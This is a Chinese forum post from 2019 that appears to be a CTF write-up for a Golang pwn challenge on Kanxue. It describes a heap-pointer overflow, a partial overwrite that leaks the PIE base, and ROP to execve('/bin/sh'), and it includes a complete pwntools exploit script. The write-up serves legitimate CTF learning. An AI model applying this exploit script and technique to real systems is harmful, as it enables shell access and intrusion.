-
-
[原创]看雪CTF 第八题挖宝 偷鸡解题思路
-
2019-3-27 17:45
6450
-
之前周末的时候要去打TCTF,就没有详细的写这道题的WP,现在重新分享下这道pwn的偷鸡解法。
1、漏洞点
程序的溢出漏洞十分的明显。
而且我们发现在得到宝藏一之后,输入48个字节后溢出的8个字节会被当成下一次宝藏1堆块分配的地址。
2、利用
golang堆栈的地址是固定的。
一个很自然的方法是直接分配堆块到栈上覆盖返回地址进行ROP。
然而checksec 后发现程序开启了pie
但开启了pie并不代表就不能进行ROP了
通过IDA静态分析,我们可以发现在call main_treasure后函数的返回地址的偏移是0xD7461,
我们可以通过局部写覆盖它最后一个字节为0x48,这样当返回的时候它会调用printf函数,并再次进入main_treasure函数调用leave_message
同时,更加有趣的是,main_println函数会在这个时候打印出的内容中有text段上的一个地址(可以获得process的基址),并且再次调用main_treasure函数leave_message的地址还是上次leave_message的地址(也就是说能够再次覆盖返回地址进行ROP)
这个时候我们已经通过println函数获取了process的基址,还能覆盖返回地址,之后就是常规的ROP了。
可以发现程序中有一个syscall_syscall 的gadget
可以直接调用execve(“/bin/sh",null,null)进行getshell
3、脚本 (如果打不通就更改一下栈返回地址的偏移以及/bin/sh字符串的偏移),,因为发现不同机器上的堆栈地址都是不一样的,但同一台机器上是固定的)
from pwn import *
def write_a(content):
f.sendlineafter(">>","a")
f.sendlineafter(">>","d")
f.sendlineafter(">>",content)
f=process("./trepwn",env={'LD_PRELOAD':'./libc.so'})
#f=remote("211.159.175.39",8787)
f.sendlineafter("name :","koocola")
for i in range(5):
f.sendlineafter(">>","d")
#gdb.attach(proc.pidof(f)[0],"b* 0x555555554000+0xd72d6") #b main_treasure (no aslr)
f.sendlineafter(">>","\x00"*48+p64(0xc82003fcd0))
write_a("\x48"*17)
f.recvuntil("journey!\n")
f.recv(16)
base_addr=u64(f.recv(6).ljust(8,'\0'))-0xd744d
success("process base :"+hex(base_addr))
payload="m"*0x10+p64(base_addr+0x18557c)+p64(59)+p64(0xc82003fcd0+0x38)+p64(0)+p64(0)+"/bin/sh\0"
f.sendlineafter(">>",payload)
f.interactive()
完美避开了作者的设计,2333
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-3-28 09:58
被kanxue编辑
,原因: